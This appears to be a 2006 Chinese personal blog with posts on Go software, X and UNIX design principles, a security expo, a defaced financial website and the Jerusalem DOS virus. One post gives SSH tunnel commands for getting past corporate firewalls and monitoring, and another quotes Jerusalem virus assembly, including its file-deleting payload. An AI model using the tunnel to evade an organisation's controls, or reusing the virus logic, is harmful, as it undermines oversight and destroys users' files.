2006年3月12日 星期日

CGoban

最近對圍棋特別感興趣,有點時間就上網找人廝殺,不過都是被別人殺得一踏糊塗。
我使用 Java 版的 CGoban2下網路圍棋。至於象棋,我都跑去 PTT下棋,不過好像沒有像 CGoban2 這麼好用又跨平台的軟體。
底下是我看別人下圍棋時的快照:

kgs.png

2006年3月8日 星期三

X 的設計原則

無意見看到 Wikipedia 對於 X 設計的原則描述,茲引言如下:



1984年,Bob Scheifler和Jim Gettys制訂了X的早期原則:
* 除非沒有它就無法完成一個真正完整的應用程式,否則不用增加新的功能。
* 決定一個系統不是什麼和決定它是什麼同樣重要。與其去適應整個世界的需要,寧可使得系統可以擴展,這樣可以用上層相容的方式來滿足新增需求
* 只有根本沒有實例才會比只有一個實例更糟。
* 如果問題沒有完全弄懂,可能最好根本就不要去解決它
* 如果預期要用百分之90的努力去完成百分之10的工作,應該用更簡單的辦法解決。 (參見更糟就是更好。)
* 盡量避免複雜性。
* 提供機制而不是策略。實踐中把用戶界面策略放在用戶手裡。


第一條原則在設計X11時修改為:「除非制訂有真實的應用程序需要,否則不用增加新功能。」 X基本上一直遵循這些原則。參考實現是從擴展和改進的著手來進行開發,同時和1987年的最初的協議幾乎保持完全相容。



上文提及的更糟就是更好,中文維基百科裡還沒有中譯。當然除了 X 外,也一定會想到 UNIX 的設計哲學:

1. Small is beautiful.
2. Make each program do one thing well.
3. Build a prototype as soon as possible.
4. Choose portability over efficiency.
5. Store data in flat text files.
6. Use software leverage to your advantage.
7. Use shell scripts to increase leverage and portability.
8. Avoid captive user interfaces.
9. Make every program a filter.

基本上,以上提及的設計原則,都離不開「簡單就是美」的哲學。說來慚愧,寫程式多年至今,還未能接觸到大型且複雜的程式,更沒有能力與機會參與設計龐大的軟體架構。只靠賣弄些程式技巧,雖足以過活,但心裡知道,若要實現一些想法,還有一大段功夫要磨練。

好好思索,好好反省,我所寫過的程式是不是稱得上「美」呢? 唉。

2006年3月6日 星期一

資安展遊記

上週的「台北國際資訊安全科技展」,算是台灣資安界年度大拜拜。趁著這個機會,我也逛了許多廠商的攤位,為的是了解資安設備發展的方向。

1. Novell 攤位上只有一位好心的小姐在介紹,雖然她熱心的想提供 SuSE Linux 上課折價卷,但是我真的不需要啊。如果有人想上課考 NCLP,請參考 CdChen 的 恆逸將開辦 NCLP 課程

2. 諮安科技的線上弱點掃瞄服務( !Patrol SNAP online),嗯,很好,不過我情願用 Nessus

3. 我在 openfind 攤位上告訴一位美麗的小姐,mail2000 系列許多政府和學校使用,十分有名氣,可說是國內少數成功的商業 webmail。當然,就被贈送了免費使用半年的 mail2000 帳號。

4. 力麗科技的 Message Server 50,多功能郵件伺服器。這應該是 mail2000 競爭產品,不過,防垃圾郵件、防病毒郵件就算了,為何要加上個防駭客攻擊呢?答案是,可以防駭客 DoS 攻擊。帥吧。

5. 看到一個號稱全球唯一可側錄 skype 語音通話內容以及文字聊天內容的超強系統。陶華科技代理的 MIS Keeper - 資訊稽核管理系統。哇!一看就被嚇到吧,不過當業務談到要在使用者電腦上裝管理軟體時,我腦裡想的盡是如何移除該「類 rootkit 的 spyware」。

6. 8e6 的網路安全行為管理系統。喔,又是一個監控員工上網行為的設備。不過,我倒對封鎖 spyware 軟體封包和防詐騙網站、惡意程式碼攻擊等較感興趣。號稱有分門別類的 URL 強大資料庫,並且會定時掃瞄所有大型網頁來作資料庫,提供比對,以封鎖釣魚網站。

當然,還有許多優秀的產品,我就不一一細說。只是有種感覺,那就是網路安全管理和內容安全管理已經開始作到爛了,大部份產品的定位都在企業應用上,都在幫企業想如何控管員工上網行為,如何讓員工的電腦更受保護。

能讓電腦或網路更安全的設備,大家都樂意接受,一旦要被約束、被管理、甚至被監視,那就是千百個不願意了。如果像電影「全民公敵」那樣,說過的每句話,做過的每件事,去過那裡,吃過什麼鳥蛋,喝過什麼鳥咖啡都被他人記錄並檢閱,你如何開心的上班,歡欣的把工作完成呢?在怎麼爽,也是公司的 MIS 和老闆互相在爽而已啊!

是不是要多為更多的 End Users 著想? 人們用電腦上網,圖的是方便和私密,大家已經受夠了為了病毒,要被迫裝上醜不拉嘰的防毒軟體,還要隔一段時間就 Windows Update 一下,好補補 Windows 的破窗。現在,人們還要面對正版後門監控軟體,「類 rootkit 的 spyware」,對於手無寸鐵只會下載 A 片的員工們,只有被張開嘴等著宰殺的份。你可能不知道自己電腦已被植入這類的「間諜軟體」,或著你明明知道,就無法移除它。它就那麼可惡的從「間諜」化身成「稽核」。不就是上個網看看色情圖片、傳傳打情罵俏的 MSN 訊息,抱怨一下上司的豬頭,有這麼嚴重到要剝奪那麼一點的隱私和樂趣嗎?

算了算了,來吧,大家來改用 Linux,練習一下 ssh/http tunnel、GPG 加密郵件、Gaim-encryption 加密通訊內容吧。至於什麼都不懂的人們,就只好學習「忍」了。

2006年2月18日 星期六

SSH TCP FORWARDING

有些公司或機關會試著用一些防火牆和監控設備,來對公司內部同仁上網作加以控管。最常見的例子就是對 IM (MSN/Yahoo!)等作記錄或限制。如果防火牆有開放 ssh 連線,或是沒有對 HTTP Protocol 作查核,那就可以試著用 ssh 的 tcp-forwarding 來建立加密連線(secure tunnel)。

(公司外部 Server: proxy.nosuchserver.org)
1. 先架好 Proxy,例如可以 bind 在 3128 Port.
2. 設好 Firewall 規則,只開放 localhost 連線:
iptables -A INPUT -p tcp -s ! 127.0.0.1 --dport 3128 -j DROP
3. 加個帳號叫 tunnel

(公司內部 Linux: 192.168.1.10)
1. 用 ssh 登入 proxy.nosuchserver.org
ssh -L 8080:127.0.0.1:3128 tunnel@proxy.nosuchserver.org
2. 此時可以將 MSN 或 WWW-Browser 的 proxy 設定指向 127.0.0.1:8080
3. 利用此 tunnel 即可對外加密連線

如果你想讓公司內其它同事共享此 proxy,則可以利用新版 ssh 的功能:

ssh -L 192.168.1.10:8080:127.0.0.1:3128 tunnel@proxy.nosuchserver.org

那麼大夥通通把 proxy 設定指向 192.168.1.10:8080 即可。

如果對外沒開放 port 22,那就只好試著讓 Server 上的 sshd 聽 port 80 或其它開放的 port 囉。

2006年2月15日 星期三

某金控網站被入侵

今天下午某位朋友告訴我,當他連上某國內知名金控網站時,防毒軟體發出了警告。該網站的首頁疑似被加入了一行不顯示的 iframe 連結。順著該連結到另一個公司的網站,就會啟動一個惡意的 Javascript,而此 script 的動作則是執行一個植入後門的程序。
想看此惡意 javascript 原貌? 看看 ICST上的相關討論吧。
顯然,至少有兩家公司被入侵,網頁內容遭駭客篡改。但被植入惡意 Javascript 的網站,也許已經讓許多的使用者電腦中了後門。

害怕了嗎?還不快把 MS-IE 換掉!

至於被植入的後門,經過 Birdman 大師的 Archon 惡意軟體掃瞄,其結果如下圖:

fubon_rootkit.JPG

2006年1月14日 星期六

十三號星期五

今天的日子,總會令我不禁想起年少時狂熱追求電腦病毒技術的時代。
從 (c) Brian 到 Jerusalem 的泛濫,恰是我從 GW-BASIC 往 Assembly 學習的時間。旗標早期出版的 DOS 技術手冊、組合語言、組合語言程式設計實例、電腦病毒徹底研究等,都是我國中和高中時不可或缺的精神食糧。
印象中,黃瑞強先生有段時間在第三波雜誌開了個專欄,剖析各種電腦病毒,以及最新的病毒技術。諸如,病毒產生器、多形病毒、變體引擎、伴隨型病毒等。當然,這也是當時我最愛的雜誌專欄。
回憶就此打住!就來看看當年十三號星期五發作的 Jerusalem,倒底是長得什麼模樣?
Jerusalem 病毒原始碼可以看到一開頭就有個熟悉的字串 "sUMsDos"!
底下程式片段是利用 int 21h 取得日期,判斷是否為十三號星期五,若是,就把 b000E 設為 1,代表病毒發作日。

mov ah,2Ah
int 21h ; get date, cx=year, dx=mon/day
mov cs:[b000E],0
cmp cx,7C3h
je loc_6
cmp al,5
jne loc_5
cmp dl,0Dh
jne loc_5
inc cs:[b000E]

接著,病毒常駐到記憶體後,當使用者欲執行檔案時,遇到發作日,就把該執行檔刪除,若非發作日就感染該執行檔。底下的 loc_12 程式片段就是為了刪除檔案。

loc_12:
xor cx,cx
mov ax,4301h
int 21h ; get/set file attrb, nam@ds:dx
mov ah,41h
int 21h ; delete file, name @ ds:dx
mov ax,4B00h
popf
jmp dword ptr cs:[pv21]
loc_13:
cmp cs:[b000E],1
je loc_12


程式寫的真美,是不?

對了,如果看不懂 Jerusalem 程式請勿來信問我,因為我早就忘光 DOS 呼叫和 MZ EXE 了啊。